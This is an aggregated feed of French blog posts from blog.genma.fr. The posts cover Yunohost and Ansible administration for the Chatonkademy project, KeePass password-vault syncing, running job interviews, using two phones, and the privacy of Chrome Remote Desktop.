<p>Je ferai un ou plusieurs billets dédiés sur la gestion de Yunohost dans le cadre d'un certain nombre d'utilisateurs (40), le côté mono ou multi-utilisateur des applications (partagée publiquement ou non, cloisonnée pour chaque utilisateur ou non). Cette expérience sera également l'occasion de passer d'une instance Yunohost personnelle à une instance de plus grand niveau. Selon la sollicitation de l'instance, je serai amené à augmenter ou réduire sa capacité matérielle (ce qui se fait aisément vu qu'il s'agit d'une machine virtuelle), je ferai des retours d'expériences sur quelle type de machine pour combien d'utilisateur en même temps.</p>
<p><strong>Conclusion</strong></p>
<p>Pour conclure ce premier billet numéroté 0, il y a déjà pas mal de choses à rédiger et mettre en forme, à anonymisée avant de mettre à disposition sous la forme de tutoriels et billets de blogs. Ce premier billet donne, je pense, une bonne idée des billets et projets à venir (tous les chantiers ne sont pas finis et pour beaucoup la peinture n'est pas encore sèche). A suivre donc :)</p></div>
		
		


feed_id: https://blog.genma.fr/?Coffre-fort-de-mot-de-passe-etat-des-lieux
title: Coffre-fort de mot de passe : état des lieux
uri: Coffre-fort-de-mot-de-passe-état-des-lieux
url: https://blog.genma.fr/?Coffre-fort-de-mot-de-passe-etat-des-lieux
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2720.jpg?1519631752' width='150' height='79' />
		<div class='rss_texte'><p>Pour (re)définir ce que j'entends par Coffre-fort de mot de passe, je dirai ceci : <i>"Dans le guide d'hygiène numérique, j'évoque le fait qu'il faut avoir un mot de passe différent généré aléatoirement par site, le tout stocké dans un logiciel dédié, un coffre-fort de mot de passe, qui s'ouvre avec une phrase de passe"</i></p>
<p>J'ai écrit différents articles de sensibilisation et de partage sur les mots de passe et les coffres-forts de mot de passe et je vous mets la série de lien ci-dessous :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Les-phrases-de-passe" title="Les phrases de passe">Les phrases de passe</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Changement-de-mot-de-passe-et-testament-numerique" title="Changement de mot de passe et testament numérique">Changement de mot de passe et testament numérique</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Keepass-au-quotidien-c-est-possible" title="Keepass au quotidien c'est possible">Keepass au quotidien c'est possible</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?A-I-2-Porte-blindee-ou-coffre-fort" title="A.I.2 - Porte blindée ou coffre-fort ?">A.I.2 - Porte blindée ou coffre-fort ?</a><br class='autobr' />
Et d'une façon générale, <a href="https://blog.genma.fr/?+-Keepass-+" title="Les billets tagués Keepass">Les billets tagués Keepass</a></p>
<p>Il existe des solutions de service en ligne qui ont l'avantage de proposer une synchronisation (via Internet) entre différents appareils (ordinateur, smartphone, tablette), mais dont le code source n'est pas accessible. Les experts en sécurité des podcasts que j'écoute (Le Comptoir Sécu pour ne pas le nommer) utilise et vante ce type de solution. Personnellement, adepte du logiciel libre, j'ai fait depuis un moment le choix de Keepass. Il faut un petit temps d'adaptation, car un gestionnaire de mot de passe (l'autre nom pour coffre-fort de mot de passe) demande un petit temps d'appropriation. Avec le temps, le réflexe est là : toute nouvelle inscription sur un site passe par la création d'une fiche dans Keepass, la création d'un mot de passe aléatoire utilisé uniquement pour le site en question.</p>
<p><strong>Quelle solution pour une synchronisation ?</strong></p>
<p>Différents billets de blogs et messages dans des forums proposent une même solution, à savoir : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> KeepassX (dans mon cas je suis passé à KeepassXC) ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Synchronisation du fichier de base de données via Nextcloud ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Application Keeweb intégrée à Nextcloud pour avoir un accès web ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Application Keepass2Android et synchronisation Webdav ou via l'application Nextcloud pour un usage mobile.</p>
<p><strong>Quid des sauvegardes ?</strong></p>
<p>Le fait d'avoir un coffre-fort de mot de passe synchronisé entre plusieurs appareils ne fait pas que l'on en a une sauvegarde. Car si on modifie / supprime un des mots de passe du coffre-fort, avec la synchronisation, la suppression est copié dans toutes les versions et on perd définitivement le mot de passe. Les recommandations liées aux sauvegardes s'applique donc là aussi : on copiera régulièrement le fichier du coffre-fort numérique sur un espace de confiance (par exemple un disque externe sur lequel on fait ses sauvegardes, disque que l'on conserve soigneusement).</p>
<p><strong>Quid de la sécurité ?</strong></p>
<p>La sécurité de Keepass tient essentiellement à la qualité et la complexité (la longueur) de la phrase de passe (il faut également penser à mettre à jour le logiciel).</p>
<p>La synchronisation via Nextcloud pose le soucis de la sécurisation de Nexcloud en lui-même (il faut maintenir le serveur à jour et de façon sécurisé et de préférence déléguer cette partie à un administrateur système de confiance, comme au sein des CHATONS par exemple).</p>
<p>Dans le cas de la synchronisation par un client Nexcloud sur son téléphone, on a donc une copie de son coffre-fort numérique sur son téléphone. Tout comme avec son ordinateur (rappel les smartphones ne sont rien d'autres que des ordinateurs au format poche), il faut donc protéger son appareil avec un code, nécessaire au déverrouillage. Et activer le chiffrement du disque.</p>
<p>Autre solution (complémentaire) : avoir deux conteneurs Keepass. Un avec les mots de passe usuels que l'on peut utiliser sur un smartphone et un avec les mots de passe critique qu'on n'utilisera que sur des appareils de confiance, qui risquent peu (il y a toujours un risque, quelque soit l'appareil, mais il est plus facile de voler un smartphone - ou de le perdre) qu'un ordinateur de type tour qui ne bouge pas de son bureau.</p></div>
		
		


feed_id: https://blog.genma.fr/?Faire-passer-des-entretiens
title: Faire passer des entretiens
uri: Faire-passer-des-entretiens
url: https://blog.genma.fr/?Faire-passer-des-entretiens
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2721.jpg?1526153612' width='150' height='79' />
		<div class='rss_texte'><p>Dans mon billet <a href="https://blog.genma.fr/?Faire-passer-des-entretiens-mes-quelques-questions-subjectives" title="Faire passer des entretiens - mes quelques questions subjectives">Faire passer des entretiens - mes quelques questions subjectives</a>, j'expliquais que dans le le cadre de mon travail et de mes responsabilités de chef d'équipe, je suis amené à faire faire des entretiens. J'expliquais le fait que j'ai une série de questions techniques et une série de questions de culture générale <a href="https://blog.genma.fr/?Faire-passer-des-entretiens-mes-quelques-questions-subjectives" title="Faire passer des entretiens - mes quelques questions subjectives">que je qualifiais de subjectives</a>.</p>
<p>Dans le présent article, je voudrais parler de ce que le fait de faire passer ces entretiens m'a appris sur la façon de faire passer des entretiens mais également sur moi-même.</p>
<p>Un premier entretien avec la responsable des ressources humaines, permettant de comprendre et jauger (juger ?) le parcours de la personne, sa personnalité a été fait et a conduit à une première sélection. Les différents chefs d'équipe, qui, comme moi, font passer les entretiens, nous sommes la seconde étape dans le processus de recrutement. Notre rôle est d'évaluer le niveau et les compétences techniques du candidat. Dans le cas où le niveau requis est là et l'entretien est concluant, cela donne l'accès à un entretien final avec un supérieur / dirigeant de l'entreprise (au cours duquel sont vu par exemple, la négociation du salaire, le poste final, les missions envisagées etc.)</p>
<p>On attend donc de moi de faire un entretien technique. Le niveau technique est discriminant : un niveau insuffisant est éliminatoire. Tel est la directive. Je nuance : le niveau attendu pour un stagiaire, un alternant, n'est pas le même que pour un profil confirmé, une personne qui a de l'expérience. Pour les personnes confirmées, <i>l'expérience</i> montre qu'un niveau insuffisant, même avec de la motivation, ne permettent pas, dans les conditions actuelles, de répondre aux attentes et besoins. Les missions que nous avons en administration système nécessite d'être aguerri, efficace rapidement, de pouvoir monter en compétence et de s'investir dès le début.</p>
<p>Comme je fais passer l'entretien pour une personne avec laquelle je vais potentiellement travailler, je vais plus loin que le simple entretien technique. Je prends le temps de discuter et de cerner la personnalité de la personne, de voir si nous avons des affinités, quel est mon ressenti... Quand l'entretien prend plus de temps que le temps alloué initialement, c'est signe d'une chose : la personne a fait un bon test et retient mon attention, je vais en savoir un peu plus sur elle (et les informations recueillies sont ajoutées à la fiche d'évaluation et me permettent de confirmer mon choix).</p>
<p>Dans les choses positives, il y a le fait que je n'ai pas d'a priori sur les personnes. Je pense que celles et ceux qui me connaissent en dehors du blog pourront en témoigner, du moins je l'espère. Et que le candidat a sa chance et s'il réussit le test technique, il a validé cette étape de recrutement.</p>
<p>Dans les choses négatives, il y a le fait que j'ai du apprendre à ne pas avoir de compassion et à être objectif. L'entretien technique est discriminant et je ne peux pas repêcher des candidats. Certes, j'ai des personnes en face de moi qui ont un vécu, une personnalité, qui sont parfois en recherche d'emploi. Mais quand j'ai le moindre doute sur la motivation, la capacité technique ou la capacité à progresser et monter en compétence (avec l'expérience, entretien après entretien, ce jugement s'affine), je n'hésite plus à donner une appréciation négative, ce qui se conclue par la fin du processus de recrutement. Dis de façon naïve, je ne peux pas être gentil car ce n'est pas aider la personne que de lui donner un emploi pour lequel on sait par avance que ce sera un échec, tant pour elle, que pour l'entreprise. Toutefois, je donne des conseils, j'explique à la personne ce que j'attendais, le niveau d'exigence que j'avais, je la conseille sur comment mieux se préparer, sur quoi apprendre...</p>
<p>Je suis exigeant avec moi-même et je le suis donc avec les personnes que je veux dans mon équipe. Et celles et ceux qui travaillent avec moi au quotidien pourraient en témoigner. Je suis exigeant, mais juste. J'explique ce que j'attends, ce que je veux. Je donne des conseils, je fais part de mon expérience. Je suis preneur des critiques et à l'écoute, pour m'améliorer. Et j'ai déjà eu des remarques sur ma façon de gérer l'équipe, que j'ai essayé de prendre en compte pour m'améliorer.</p>
<p>Faire passer des entretiens, c'est comprendre qu'on a le droit de se tromper, mais qu'il faut apprendre de ses erreurs de jugement. C'est comprendre que l'on va perdre des illusions. On recrute pour un emploi, pour travailler dans une entreprise dont le but est de gagner de l'argent (pour au moins pouvoir payer les salaires en fin de mois des différents employés, on mettra de côté la considération capitaliste). Et on ne peut donc pas laisser place à la subjectivité.</p></div>
		
		


feed_id: https://blog.genma.fr/?Chatonkademy-Billet-No1-Les-utilisateurs
title: Chatonkademy - Billet N°1 - Les utilisateurs
uri: Chatonkademy-Billet-N-1-Les-utilisateurs
url: https://blog.genma.fr/?Chatonkademy-Billet-No1-Les-utilisateurs
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2745.png?1523718173' width='150' height='99' />
		<div class='rss_texte'><p><strong>Série de billets sur le projet Chatonkademy</strong></p>
<ul>
<li>Billet N°0 <a href="https://blog.genma.fr/?Chatonkademy-Billet-No0-Presentation-du-projet" title="Chatonkademy - Billet N°0 - Présentation du projet">Billet N°0 - Présentation du projet</a></li>
</ul>
<p><strong>Introduction</strong><br class='autobr' />
Le projet continue et d'autres billets sont en cours de rédaction. Je publie celui-ci pour partager quelques astuces de bases dont j'ai eu besoin. Dans celui-ci, quelques astuces sur les utilisateurs et Yunohost (rappel : dans le projet il y a une instance Yunohost multi utilisateur).</p>
<p><strong>Créer des utilisateurs en masse dans Yunohost</strong></p>
<p>On fait appel à la moulinette. On crée un script du type<br class='autobr' />
Dans le présent script, les mot de passe sont en dur</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>#!/bin/bash<br /> <br /> yunohost user create chaton01 -p motDePasseChaton01 -f chaton01 -l chaton01 -m chaton01@chatonkademy.com --admin-password motDePassAdminYunohost<br /> yunohost user create chaton02 -p motDePasseChaton02 -f chaton02 -l chaton02 -m chaton02@chatonkademy.com --admin-password motDePassAdminYunohost<br /> yunohost user create chaton03 -p motDePasseChaton03 -f chaton03 -l chaton03 -m chaton03@chatonkademy.com --admin-password motDePassAdminYunohost<br /> yunohost user create chaton0X -p motDePasseChaton04 -f chaton0X -l chaton0X -m chaton0X@chatonkademy.com --admin-password motDePassAdminYunohost</code></div>
<p>Largement améliorable en utilisant des variables pour les mots de passe utilisateur et le mot de passe administrateur, ce qui évite de les mettre en dur au sein du script.</p>
<p><strong>Applications</strong></p>
<p>Dans mon cas, tous les utilisateurs ont accès à toutes les applications. J'ai installé les applications après la création des utilisateurs.<br class='autobr' />
Je ferai un billet (ou plusieurs) sur le cas des applications.</p>
<p><strong>Surveiller leurs connexions</strong></p>
<p>Le besoin est le suivant : les utilisateurs ont été crées, le mot de passe communiqués. Comment suivre si l'instance Yunohost est bien utilisée et si oui par quels utilisateurs. Il y a plusieurs façons de faire et de voir il y a des connexions des utilisateurs.</p>
<p>Tous les logs de connexion se trouvent dans le fichier /var/log/nginx/chatonkademy.com-access.log</p>
<p>Les logs étant compressés, on peut passer par zcat et créer un fichier de cumul des logs dans /tmp/access.log pour avoir un suivi depuis le début de la création de l'instance.</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>cat /var/log/nginx/chatonkademy.com-access.log >> /tmp/access.log<br /> zcat /var/log/nginx/chatonkademy.com-access.log.*.gz >> /tmp/access.log</code></div>
<p>Un peu de shell en une ligne permet de faire pas mal de choses, selon les besoins. Quelques exemples :</p>
<p><strong>Ip et utilisateur</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>root@cloud:# cat /tmp/access.log |cut -f1 -d '[' |sort -u<br /> 1.2.3.1 - chaton01<br /> 1.2.4.5 - chaton02 <br /> 1.2.1.2 - chaton03<br /> 1.2.1.2 - chaton01 <br /> 1.2.1.4 - chaton04 </code></div>
<p><strong>Nombre de connexion par utilisateur</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>cat /tmp/access.log |grep -v "\- \-" |cut -f1 -d '['|cut -d "-" -f2 |sort |uniq -c |sort -nr</code></div><div style='text-align: left;' class='spip_code' dir='ltr'><code> 5733 chaton03 <br /> 1525 chaton02<br /> 1334 chaton01<br /> 913 chaton04 </code></div>
<p><strong>Quel(s) utilisateur(s) se connecte quel jour ?</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>cat /tmp/access.log |cut -f1 -d ']' |grep -v "\- \-" |cut -f1 -d ':'|cut -f2 -d '-'|uniq |sed 's/\[//g'</code></div><div style='text-align: left;' class='spip_code' dir='ltr'><code> chaton04 11/Apr/2018<br /> chaton01 11/Apr/2018<br /> chaton04 11/Apr/2018<br /> chaton01 11/Apr/2018<br /> chaton03 12/Apr/2018<br /> chaton02 12/Apr/2018<br /> chaton01 12/Apr/2018<br /> chaton02 12/Apr/2018<br /> chaton03 12/Apr/2018</code></div>
<p><strong>Analyse des logs en graphique</strong></p>
<p>On pourra envisager l'installation de la suite ELK (ElasticSearch Logstash Kibana, pourquoi pas) avec des dashbords qui vont bien pour avoir le reporting des connexions. Pour faire faire plus simple et déjà avoir quelques graphiques, j'ai eu recours un GoAccess. Voir à ce sujet <a href="https://blog.genma.fr/?Goaccess-Rapport-HTML-depuis-des-logs-d-un-serveur-web" title="Yunohost - Goaccess - Rapport HTML depuis des logs d'un serveur web">Yunohost - Goaccess - Rapport HTML depuis des logs d'un serveur web</a>.</p>
<p>J'ai repris l'idée de faire l'installation de customWebApp dans Yunohost appelée "Logs" dans laquelle je dépose un fichier index.html qui est le rapport généré par GoAccess</p>
<p>Création d'un script qui contient</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>#/bin/bash<br /> goaccess --log-format=COMBINED -f /tmp/access.log -a -o /var/www/my_webapp/www/index.html</code></div>
<p>On le lance via</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>./root/script_goaccess.sh</code></div>
<p>On consulte les logs via <a href="https://chatonkademy.com/logs/" class='spip_url spip_out auto' rel='nofollow external'>https://chatonkademy.com/logs/</a> tout simplement.</p></div>
		
		


feed_id: https://blog.genma.fr/?Chatonkademy-Billet-No2-Ansible-pour-les-mises-a-jour
title: Chatonkademy - Billet N°2 - Ansible pour les mises à jour
uri: Chatonkademy-Billet-N-2-Ansible-pour-les-mises-à-jour
url: https://blog.genma.fr/?Chatonkademy-Billet-No2-Ansible-pour-les-mises-a-jour
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2746.png?1523782100' width='150' height='99' />
		<div class='rss_texte'><p><strong>Série de billets sur le projet Chatonkademy</strong></p>
<ul>
<li>Billet N°0 <a href="https://blog.genma.fr/?Chatonkademy-Billet-No0-Presentation-du-projet" title="Chatonkademy - Billet N°0 - Présentation du projet">Billet N°0 - Présentation du projet</a></li>
<li>Billet N°1<a href="https://blog.genma.fr/?Chatonkademy-Billet-No1-Les-utilisateurs" title="Chatonkademy - Billet N°1 - Les utilisateurs"> Billet N°1 - Les utilisateurs</a></li>
</ul>
<p><strong>Introduction</strong></p>
<p>Un billet déjà écrit avec quelques commandes Ansible <a href="https://blog.genma.fr/?Jouons-avec-Ansible-et-Virtualbox" title="Jouons avec Ansible et Virtualbox">Jouons avec Ansible et Virtualbox</a>, dans celui-ci je donnerai quelques astuces et commandes sur l'usage d'Ansible pour des choses simples. En effet, le projet Chatonkademy contient, entre autre 40 machines virtuelles sous Debian 9 (une par étudiant), que je souhaite gérer facilement. D'où Ansible.</p>
<p><strong>Prérequis</strong></p>
<p>Avoir des machines installées, avec un serveur SSH actif et configuré. L'installation des 40 machines, la configuration par SSH (pour automatiser la création de l'utilisateur, de la machine etc.) fera l'objet d'un billet plus complexe sur Ansible. Car il y a une seule IP publique pour la machine superviseur (sous Proxmox), on part d'un parc de 40 machines déjà installées et configurées à minima. Toutes accessibles en SSH sur un port différent du 22 (avec redirection au niveau de l'hyperviseur).</p>
<p><strong>Connexion SSH par clef publique</strong></p>
<p>Copie de la clef ssh publique de l'utilisateur que j'ai sur ma machine principale (j'ai le même utilisateur sur les machines en face) sur toutes les machines via</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>#!/bin/bash<br /> sshpass -p 'password' ssh-copy-id genma@chaton01.chatonkademy.com -p 20122<br /> sshpass -p 'password' ssh-copy-id genma@chaton02.chatonkademy.com -p 20222<br /> sshpass -p 'password' ssh-copy-id genma@chaton03.chatonkademy.com -p 20322</code></div>
<p>Pour pouvoir me connecter en ssh depuis ma machines dans .ssh/config j'ai ajoué</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>host chaton01.chatonkademy.com<br /> HostName chaton01.chatonkademy.com<br /> Port 20122<br /> host chaton02.chatonkademy.com<br /> HostName chaton02.chatonkademy.com<br /> Port 20222<br /> host chaton03.chatonkademy.com<br /> HostName chaton03.chatonkademy.com<br /> Port 20322<br /> (...)</code></div>
<p><strong>Ansible les bases</strong></p>
<p>Dans le fichier /etc/ansible/hosts j'ai ajouté</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>[chatonkademy_std]<br /> chaton01.chatonkademy.com:20122<br /> chaton02.chatonkademy.com:20222<br /> chaton03.chatonkademy.com:20322<br /> (...)</code></div>
<p>Quelques tests avec un appel de commande pour valider qu'Ansible marche bien</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>ansible chatonkademy_std -m command -u genma --args "uptime" --one-line<br /> ansible chatonkademy_std -m command -u genma --args "df -h" --one-line</code></div>
<p>On remplacera le args par une commande simple que l'on veut et on redirigera la sortie standard dans un fichier que l'on analysera par la suite.</p>
<p><strong>Ansible playbook pour mises à jours</strong></p>
<p><strong>Création d'un playbook Ansible pour les mises à jours dans le fichier hosts update_upgrade.yml</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>---<br /> - hosts: chatonkademy_std<br /> remote_user: genma<br /> become_method: sudo<br /> become_user: root<br /> <br /> tasks:<br /> - name: update and upgrade apt packages<br /> apt:<br /> update_cache=yes<br /> state=latest<br /> upgrade=yes</code></div>
<p><strong>Lancement du playbook</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>ansible-playbook -i /etc/ansible/hosts update_upgrade.yml -K</code></div>
<p><strong>Résultat de l'exécution</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>ansible-playbook -i inventory/production/chatonkademy update_upgrade.yml -K <br /> SUDO password: <br /> [DEPRECATION WARNING]: Instead of sudo/sudo_user, use become/become_user and make sure become_method is 'sudo' (default). This feature will be removed in version 2.6. <br /> Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.<br /> <br /> PLAY [chatonkademy] **********************************************************<br /> <br /> TASK [Gathering Facts] ******************************************************<br /> ok: [chaton01.chatonkademy.com]<br /> ok: [chaton02.chatonkademy.com]<br /> ok: [chaton03.chatonkademy.com]<br /> ok: [chaton04.chatonkademy.com]<br /> <br /> TASK [update and upgrade apt packages] **************************************<br /> [WARNING]: Could not find aptitude. Using apt-get instead.<br /> changed: [chaton04.chatonkademy.com]<br /> changed: [chaton01.chatonkademy.com]<br /> changed: [chaton03.chatonkademy.com]<br /> changed: [chaton02.chatonkademy.com]<br /> <br /> PLAY RECAP *****************************************************************<br /> chaton02.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0 <br /> chaton03.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0 <br /> chaton04.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0</code></div>
<p><strong>Conclusion</strong></p>
<p>Les machines virtuelles sont utilisables via Ansible pour la maintenance etc. On va pouvoir des choses <i>intéressantes</i>. A suivre dans un projet billet sur le projet Chatonkademy !</p></div>
		
		


feed_id: https://blog.genma.fr/?Deux-telephones-et-separation-des-usages
title: Deux téléphones et séparation des usages
uri: Deux-téléphones-et-séparation-des-usages
url: https://blog.genma.fr/?Deux-telephones-et-separation-des-usages
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2737.jpg?1520780276' width='150' height='79' />
		<div class='rss_texte'><p>J'ai actuellement deux téléphones, un téléphone personnel et un professionnel, de type smartphone. Mon pseudonyme étant connu de mon employeur, avec le temps, <a href="https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme" title="Conférence Du pseudonymat au pseudonyme">comme je l'explique dans ma conférence "Du pseudonymat au pseudonyme"</a>, <a href="https://blog.genma.fr/?Quel-est-votre-modele-de-menace" title="Billet de blog - Quel est votre modèle de menace ?">mon modèle de menace</a> a évolué et du coup mes usages ne sont plus les mêmes. Ce billet se veut une sorte d'état des lieux de la séparation que je fais et de la porosité qu'il existe tout de même.</p>
<p>Appliquant comme toujours des règles d'hygiènes numériques, je n'installe que le strict minimum, des applications dont j'ai besoin, je fais le ménage dans les permissions. Dès que possible, j'utilise des applications libres issues des dépôts de F-Droid ; toutefois certaines applications ne se trouvant que sur le PlayStore de Google, je passe par lui (pas encore fait les manipulations pour outrepasser ça en récupérant les applications d'une autre façon). Sur le téléphone professionel, associé à un compte sous mon vrai nom, j'ai des applications qui sont nécessaires à mon usage professionnel. Des applications liées aux transports par exemple (Air France ou SNCF) que je n'ai pas sur mon téléphone personnel, ces applications sont liées à mes comptes correspondants.</p>
<p>Certaines applications liées aux réseaux sociaux comme Twitter ou Mastodon, celle de prise de notes (Nextcloud) ou de veille (EasyRss, Wallabag) sont installées sur les deux téléphones et liées au même compte en ligne (ou à mon cloud personnel), celui lié à mon pseudonyme. Comme mon pseudonyme n'est plus du pseudonymat, cela ne me pose pas de soucis et me permet donc d'avoir accès le midi facilement, entre deux usages pro (regarder des mails) aux applications qui me permettent de faire ma veille. Pour les mails, mails pro sur le téléphone pro, mails perso sur le téléphone perso.</p>
<p>J'avais rédigé <a href="https://blog.genma.fr/?Support-Signal-vs-Silence-Signal-et-Silence" title="Signal vs Silence">une synthèse fortement inspiré d'un billet de Taziden sur la différence entre Silence et Signal</a>. J'utilise Silence dans le cadre personnel. J'utilise Signal comme service de messagerie SMS par défaut sur mon téléphone professionnel. Pourquoi ? Signal possède un client installable sur PC qui permet d'envoyer et de récupérer les messages qui sont échangés de façon sécurisé au sein de l'application. Cela montre bien que les messages sont stockés sur le serveur (vu que la synchronisation est possible entre un smartphone et un PC). Pratique pour échanger via un canal sécurisé.</p>
<p>Je me suis posé la question de <i>pourquoi pas un téléphone avec deux cartes sim (un dual-sim) ? Cela serait plus simple que d'avoir sans cesse deux téléphone sur soi ?</i>. La séparation des usages permet aussi un droit à la déconnexion : je suis joignable aux heures ouvrées sur mon téléphone pro, je le coupe ensuite. Mon téléphone perso est allumé sur des amplitudes plus large. Je ne sais pas si ça se gère bien avec un téléphone dual-sim (couper une puce selon des plages horaires). Sûrement.</p>
<p>De plus, j'ai deux comptes Android différents (un par téléphone) et il y a des choses que je veux continuer à séparer /cloisonner. Je gère finement les permissions comme je le disais. Je n'active la géolocalisation que quand c'est nécessaire. Parfois les deux téléphones sont allumés, parfois le téléphone pro est éteint et seulement le téléphone personnel l'est. Le recoupement de données des deux comptes est tout à fait possible, vu que mon pseudonymat n'est plus qu'un pseudonyme. Ce cloisonnement est donc assez théorique et ne tient pas dans le cadre d'un modèle de menace élevé, ce qui n'est pas mon cas actuellement, du moins pour mon pseudonyme.</p></div>
		
		


feed_id: https://blog.genma.fr/?Bureau-a-distance-Google-Chrome
title: Bureau à distance Google Chrome
uri: Bureau-à-distance-Google-Chrome
url: https://blog.genma.fr/?Bureau-a-distance-Google-Chrome
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2689.jpg?1525278381' width='150' height='79' />
		<div class='rss_texte'><p>Le but de cet article n'est pas de critiquer une énième fois les GAFAM, de parler dégooglisons etc. Quoique ;)</p>
<p><strong>Bureau à distance Google Chrome</strong></p>
<p>Saviez vous qu'il était possible <i>d'utiliser un ordinateur ou un appareil mobile pour accéder par Internet aux fichiers et aux applications d'un autre ordinateur via le bureau à distance Chrome.</i> <a href="https://support.google.com/chrome/answer/1649523?co=GENIE.Platform%3DDesktop&hl=fr" title="Accéder à un autre ordinateur via le bureau à distance Chrome">Accéder à un autre ordinateur via le bureau à distance Chrome</a>.</p>
<p>Dit autrement, c'est un équivalent de VNC ou TeamViewer, mais directement installé en tant que greffon dans le navigateur Chrome.</p>
<p><strong>Technologies ?</strong></p>
<p>Au delà de la question de l'usine à gaz que devienne les navigateurs webs (il y a déjà suffisamment à faire avec la complexité des pages webs qui sont toujours plus lourdes et chargées en technologie, pour peut être ne pas avoir à y mettre une fonctionnalité comme le bureau à distance, vu qu'il y a des logiciels dédiés pour ça).</p>
<p>Niveau technologie, ça utilise le <i>Chromoting protocol</i> qui est développé par Google. Cela permet la transmission des événements générés par la clavier et la souris (ou l'interface tactile dans le cas d'une tablette) d'un ordinateur à un autre, en relayant les mises à jours écran en arrière plan via le réseau. L'affichage de l'écran distant utilise le code vidéo VP8. Sous Windows, le copier-coller est supporté ainsi que la transmission du flux audio en temps réel.</p>
<p>Dans les prérequis il est indiqué que le trafic se fait via les ports TCP 443 (HTTPS) et 5222 (XMPP). Quelques recherches montrent que <a href="https://community.sophos.com/products/unified-threat-management/f/network-protection-firewall-nat-qos-ips/77959/how-to-block-google-chrome-remote-desktop" title="How to block Google Chrome Remote Desktop">des personnes cherchant à bloquer cette fonctionnalité au niveau réseau et conseille de bloquer l'adresse host.talkgadget.google.com au niveau des DNS des réseaux de l'entreprise</a>. Cette adresse dans un navigateur donne la page d'accueil de Google Hangouts, le Skype par Google directement au sein du navigateur (et pour les autres il y a <a href="https://meet.jit.si/" title="https://meet.jit.si/">https://meet.jit.si/</a> et <a href="https://framatalk.org" title="Framatalk">https://framatalk.org/accueil/</a>).</p>
<p><strong>Confidentialité ?</strong></p>
<p>Concernant la confidentialité, Google renvoit vers cette page <a href="https://www.google.com/chrome/browser/privacy/#policy-on-using-apps" title="https://www.google.com/chrome/browser/privacy/#policy-on-using-apps">https://www.google.com/chrome/browser/privacy/#policy-on-using-apps</a> qui contient une phrase très importante <i>Les modules complémentaires développés et fournis par Google peuvent communiquer avec les serveurs Google et sont soumis aux Règles de confidentialité Google, sauf mention contraire.</i></p>
<p>Cette page renvoyant elle-même aux <a href="https://www.google.com/policies/privacy/" title="Règles de confidentialité Google">Règles de confidentialité Google</a>.</p>
<p>D'une façon générale, tout ce qui est fait via Google (le moteur de recherche), via un logiciel de l'écosystème Google (Chrome, les téléphones Android avec la couche Google, les applications Google...) sont susceptibles de fournir des données d'utilisation à Google ; et cette fonctionnalité de bureau à distance n'y fait pas exception.</p>
<p>D'ailleurs, quand on installe Chrome Remote Desktop, on a une demande pour les autorisations suivantes :</p>
<p><span class='spip_document_2513 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L363xH344/chrome_bureau_distance_01-ddcf7.png?1525244401' width='363' height='344' alt="" /></span></p>
<p><strong>Conclusion</strong></p>
<p>Cette fonctionnalité peut s'avérer intéressante pour des utilisateurs de Chrome et de l'écosystème Google.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-3-0-sur-Debian-9-Retour-d-experience
title: Yunohost 3.0 sur Debian 9 - Retour d'expérience rapide
uri: Yunohost-3-0-sur-Debian-9-Retour-d-expérience-rapide
url: https://blog.genma.fr/?Yunohost-3-0-sur-Debian-9-Retour-d-experience
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2748.jpg?1526143619' width='150' height='79' />
